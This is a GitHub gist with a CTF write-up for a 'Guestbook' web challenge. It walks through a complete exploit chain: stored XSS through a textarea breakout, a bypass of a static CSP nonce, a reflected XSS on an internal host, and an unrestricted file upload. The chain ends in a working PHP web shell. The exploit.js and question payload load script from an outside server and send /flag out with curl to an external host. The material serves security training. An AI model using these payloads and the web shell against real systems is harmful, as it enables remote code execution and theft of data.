Skip to content

Instantly share code, notes, and snippets.

@stypr
Last active November 24, 2021 19:43
Show Gist options
  • Save stypr/f16205350c21590f78ffd96a09db0692 to your computer and use it in GitHub Desktop.
Save stypr/f16205350c21590f78ffd96a09db0692 to your computer and use it in GitHub Desktop.
BingoCTF 2020: Web - Guestbook [Hard]

web: guestbook writeup

Checking configs/worker

docker-compose.yml

Docker-compose is build in a way that

  1. private has flag in /flag
  2. redis / worker are used. this is only used for admin to check the challenge.
  3. redis has nothing to do with the challenge itself. (i) flag is not available here (ii) it does not have connection with private.
  4. worker can connect to public, private, redis.

worker.js

It does nothing much here. it just authenticates and checks your messages.

        await page.goto('http://public/');
        await page.waitFor('#username');
        await page.type('#username', admin_username);
        await page.waitFor('#password');
        await page.type('#password', admin_password);
        await page.waitFor('#login-button');
        await Promise.all([
            page.$eval('#login-button', elem => elem.click()),
            page.waitForNavigation()
        ]);

Checking public code.

  1. < and > is not filtered when the user asks to admin. We can easily see this when we check the comment_guestbook code.
function comment_guestbook($id, $comment){
...
        if(stripos($comment, "<") !== false ||
           stripos($comment, ">") !== false){
            die("xss blocked");
        }
        $update_comment = [
            "comment" => $comment
        ];
        $guestbook->where('_id', '=', $id)->update($update_comment);
...
}

function ask_guestbook($question){
...
        $insert_question = [
            "username" => (string)$_SESSION['username'],
            "question" => $question,
            "comment" => "",
        ];
        $result = $guestbook->insert($insert_question);
...
}
  1. Let's check how admin reads your post.
            <table class="table table-striped table-hover">
                <tbody id="board_list">
                    <tr>
                        <td><textarea class="form-control" disabled><?php echo $result['question']; ?></textarea></td>
                    </tr>
                </tbody>
            </table>

It just renders your question on <textarea>. We can escape the textarea by asking questions like </textarea> ...

  1. XSS is blocked but can be bypassed.
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block;');
header("Content-Security-Policy: default-src 'self' 'nonce-script'; object-src 'none'; base-uri 'none'; trusted-types");

CSP is used, however it uses the nonce-script.

As you've noticed, it does not randomize the nonce.

Because of this, you can just execute script on admin by asking the following question

</textarea><script nonce=script>....</script>

You can let the admin to move to the internal page by using the following payload.

</textarea><script nonce=script>location.href=`http://private/`;</script>

You don't have to guess for the IP address of the private as docker-compose automatically maps the network for you.

Checking internal

  1. Reflected XSS in index.php
<html>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    <input type="name" name="your_name" value="<?php echo $_GET['your_name']; ?>">
    Select image to upload:
    <input type="file" name="fileToUpload" id="fileToUpload">
    <input type="submit" value="Upload Image" name="submit">
</form>
</body>
</html>

It just renders your input. You can use this to load your own script.

2-1. Bypass image check

Let's check the upload.php

// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
  $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
  if($check !== false) {
    echo "File is an image - " . $check["mime"] . ".";
    $uploadOk = 1;
  } else {
    echo "File is not an image.";
    $uploadOk = 0;
  }
}

This can be easily bypassed when you don't pass in $_POST["submit"]

2-2. File upload is done without any extension check.

// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
  echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
  if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
    echo "The file ". htmlspecialchars(basename($_FILES["fileToUpload"]["name"])). " has been uploaded.";
  } else {
    echo "Sorry, there was an error uploading your file.";
  }
}

It does not check any extension.

Exploitation

You just need to use FormData and Blob object to upload an arbitrary file and trigger code execution.

curl command can be used to get /flag.

exploit.js

var blob = new Blob(["<pre><?php $_GET[cmd]($_GET[arg]); ?></pre>"], {type: "image/png"});
var fd = new FormData();
fd.append('fileToUpload', blob, "stypr_test_exp_1337.php");
var request = new XMLHttpRequest();
request.open("POST", "upload.php");
request.send(fd);
setTimeout("location.href='uploads/stypr_test_exp_1337.php?cmd=system&arg=curl+http://harold.kim:1234/$(cat /flag)+2>%261'", 1000);

question

</textarea><script nonce=script>location.href=`http://private/?your_name=%22%3E%3Cscript+src=http://158.101.144.10/xss-ctf-1/xss-bingo-bingo.js%3E%3C/script%3E`;</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment